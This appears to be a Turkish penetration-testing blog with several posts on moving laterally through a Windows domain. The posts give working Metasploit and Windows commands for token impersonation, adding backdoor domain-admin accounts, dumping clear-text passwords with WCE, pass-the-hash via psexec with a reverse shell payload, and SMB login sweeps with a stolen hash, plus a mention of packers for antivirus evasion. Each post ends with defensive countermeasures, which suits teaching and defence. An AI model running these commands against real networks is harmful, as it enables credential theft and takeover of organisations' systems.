18 Ekim 2013 Cuma

İpucu: Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Amaç

  • Hedef makinelerde oturum elde edildikten sonra, bu makinelere dosya (wce.exe adlı uygulama dosyası veya başka dosyalar) aktarılacaktır ve çalıştırılacaktır.
  • Hedef makinelerde program çalıştırılacaktır. Bu program ile ele geçirilen oturumda aktif prosesi olan hesapların kimliğine bürünülecek ve bu hesapların şifreleri açık halde (clear text) elde edilecektir.


Yöntem
Önceki yazıda belirtildiği gibi, sisteme sızıldıktan sonra, yüksek yetkili kullanıcının sahip olduğu ve daha kararlı yapıdaki bir prosese sıçranabilir. Yüksek yetkili kullanıcının çalıştırdığı daha kararlı yapıda olan explorer.exe adlı prosese (748 numaralı proses) sıçranması aşağıda gösterilmiştir:
getuid
getpid
migrate 748
getuid
getpid

Hedef makinede yüksek yetkili kullanıcının sahip olduğu kararlı bir prosese geçme

Yetkili kullanıcının haklarına, o kullanıcının prosesine sıçramak yerine, Kerberos biletini elde ederek de gerçekleştirilebilir:
load incognito
list_tokens -u
getuid
getpid
impersonate_token DOJO\\sisyon
getuid
getpid
shell
whoami

Hedef makinede yüksek yetkili kullanıcının biletine sahip olunması

Not: Eski bilete geri dönmek için rev2self komutu kullanılabilir. Ayrıntılı bilgi için:
http://pentestlab.wordpress.com/2012/08/07/token-stealing-and-incognito/

SYSTEM hakları ile bir yerel kullanıcı eklenebilir veya çıkarılabilir, yerel yönetici grubuna eklenebilir:
whoami
net user TestYerelKullanici TestP@ss123 /add
net localgroup administrators TestYerelKullanici /add
net localgroup administrators

Hedef makineye yetkili bir kullanıcı ekleme

Domain Admin hakları ile bir yerel veya domain kullanıcısı eklenebilir veya çıkarılabilir. Daha sonra bu kullanıcı yerel veya domain admin grubuna eklenebilir, çıkarılabilir:
net user TestGenelKullanici /del /domain
net user TestGenelKullanici TestP@ss12345 /add /domain
net group "Domain Admins" TestGenelKullanici /add /domain
net group "Domain Admins" /domain

Domaine yetkili bir kullanıcı ekleme

WCE (veya mimikatz) uygulaması hakkında ayrıntılı bilgi için bakınız:
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

Not: Sızılan makine domain controller ise, domain admin yetkisindeki bir kullanıcı ile yukarıda belirtildiği gibi kullanıcı oluşturup, domain admins grubuna atanamaz. Bu sebeple, domain controller makinesine sızıldığında bu işlemler SYSTEM rolündeyken yapılmalıdır.

Elimizde domain admin kullanıcısının prosesi / bileti bulunmaktadır. Bu prosesi / bileti kullanarak, kullanıcının şifresinin açık halini elde edebiliriz. Bu amaçla hedef bilgisayara “wce.exe” adlı bir uygulama yüklenecek, çalıştırılacak ve kullanıcı şifresi elde edilecektir:
sysinfo
upload /wce.exe “C:\\”
shell
cd C:\
wce.exe -–w
'wce.exe' uygulaması ile yetkili kulalnıcının şifresinin elde edilmesi

Not: 'sysinfo' komutu ile hedef makinenin sistem mimarisi  (64 bit / 32 bit) hakkında bilgi edinilmektedir. Sistem mimarisine göre uygun uygulama (exe) dosyası yüklenecektir. Daha ayrıntılı sistem bilgisi için 'systeminfo' komutu da kullanılabilir.

Not: Bir çok anti virüs "wce.exe" uygulamasını yakalamakta ve hedef makineye yüklenmesine izin vermemektedir. Bu sebeple packer adı verilen uygulamalar kullanılmaktadır. UPX Packer uygulamasının kullanımı için bakınız. Diğer antivirüs atlatma yöntemleri için bakınız.

Not: wce.exe uygulaması (Windows Credential Editor) aracılığıyla RAM üzerinde kalmış kullanıcıların şifre bilgilerine erişilebilmektedir. Ayrıntılı bilgi için: http://www.ampliasecurity.com/research/wcefaq.html


Önlem

  • Sistem yöneticilerine ve diğer tüm kullanıcılara ait hesapların izinleri belli periyotlarla kontrol edilmelidir. Gereksiz haklar / roller alınmaldır.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.


İpucu: Yüksek Yetkili Kullanıcı Haklarının İncelenmesi

Yüksek Yetkili Kullanıcı Haklarının İncelenmesi

Amaç
  • Sızılan sistemdeki prosesler incelenecektir.
  • Domainde bulunan yüksek yetkili kullanıcıların, bu makinede herhangi bir proses çalıştırıp çalıştırmadığı belirlenecektir.


Yöntem
Önceki yazıda belirtildiği gibi elimizdeki kimlik bilgileri ile farklı bilgisayarlarda oturum açılabilmektedir. Böylece. sızılan makinede çalışan prosesler incelenir:
ps

Hedef makinede proseslerin izlenmesi

Daha önceden elde ettiğimiz bilgilere göre “sisyon” kullanıcısı Domain Admins grubunun üyesi olduğu görülmüştü. Bu sebeple bu prosese sıçranabilir. Eğer, bu makinede, domainde yüksek yetkili olan bir kullanıcı prosesi ve/veya bileti bulunamasaydı, başka makinelerde benzer adımlar gerçekleşecektir.

Not: SYSTEM kullanıcının sisteme girmesi de bir proses (svchost.exe) oluşturmuştur.

Önlem
  • Makinelerde yüksek yetkili kullanıcı hakları ile çalıştırılan gereksiz prosesler sonlandırılmalıdır.
  • Makinelere giren kullanıcılar, işlemleri bittikten sonra oturumlarını kapatmaya (log-off) zorlanmalıdır.
  • Domain yöneticileri gibi, önemli gruplardaki kullanıcıların iki tane hesabı olmalıdır. Bu hesaplardan birisi domain üzerinde işlem yapma haklarına sahip oldukları yetkili hesaptır. İkinci hesap ise, domaindeki normal kullanıcılar gibi, yetkisiz hesaptır. Domain yöneticileri yetkili hesaplarını sadece domain işlemlerini yaparken kullanmalıdır, bu hesapla domain controller haricinde gerekmedikçe herhangi bir yere giriş yapılmamalıdır. Farklı sistemlere giriş için yetkisiz hesap kullanılmalıdır.
  • Önemli gruplarda olan yetkili kullanıcılar bu hesaplarını sadece domaine kullanıcı ekleme, domainden kullanıcı çıkarma, grup politikasını güncelleme gibi işlemler için kullanmalıdır. Domain controller gibi, belli ve sınırlı sayıdaki makinelere bu kullanıcı ile giriş yapılmalıdır.

3 Ekim 2013 Perşembe

İpucu: psexec Modülü ile Yeni Makinelerde Oturumun Açması

psexec  Modülü ile Yeni Makinelerde Oturumun Açması

Amaç
Organizasyondaki - yerel kullanıcısı ve şifresi / şifre özeti bilinen - diğer makinelerde oturum açılacaktır.

Yöntem
Bir önceki yazıda smb_login modülü ile girilebilecek bilgisayarlar tespit edilmişti. Bu adımda ise psexec modülü ile giriş denemesi yapılacaktır.
psexec modülü incelenir:
search psexec
use exploit/windows/smb/psexec
show options
psexec modülünün incelenmesi

Seçilen modül hakkında ayrıntılı bilgi elde edinilebilir:
info exploit/windows/smb/psexec
psexec modülü hakkında ayrıntılı bilginin listelenmesi

Seçenekler uygun şekilde ayarlanır:
set RHOST 192.168.172.243
set SMBPass aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
show options
psexec modülünün düzenlenmesi

Not: Domainde ilk olarak girdiğimiz bilgisayarda, "net share" komutu çalıştırıldığında “ADMIN$” paylaşımının açık olduğunu gördüğümüz için, SHARE seçeneğini aynen bırakabiliriz.

Modülü çalıştırmak için ve elde edilen bağlantıları listelemek için aşağıdaki komutlar kullanılır :
exploit
sessions -l
psexec modülü ile exploit işleminin gerçekleştirilmesi

Not: PsExec bir çok AV tarafından tespit edilebilmektedir. Bu sebeple, bağlantıda belirtildiği gibi WCE aracı kullanılarak da hedef sistemin dosya sistemine erişilebilir, bağlantıdaki gibi WCE & MS psexec aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir, bağlantıdaki gibi MSF psexec_command modülü kullanılarak Meterpreter komut satırı elde edilebilir, bağlantıdaki gibi Kali pth-winexe aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir.

Not: MSF PsExec modülü çalıştırıldığında gerçekleşebilecek hatalar için bakınız.

Önlem
  • Önceki adımlarda belirtilen önlemler alınmalıdır.


2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.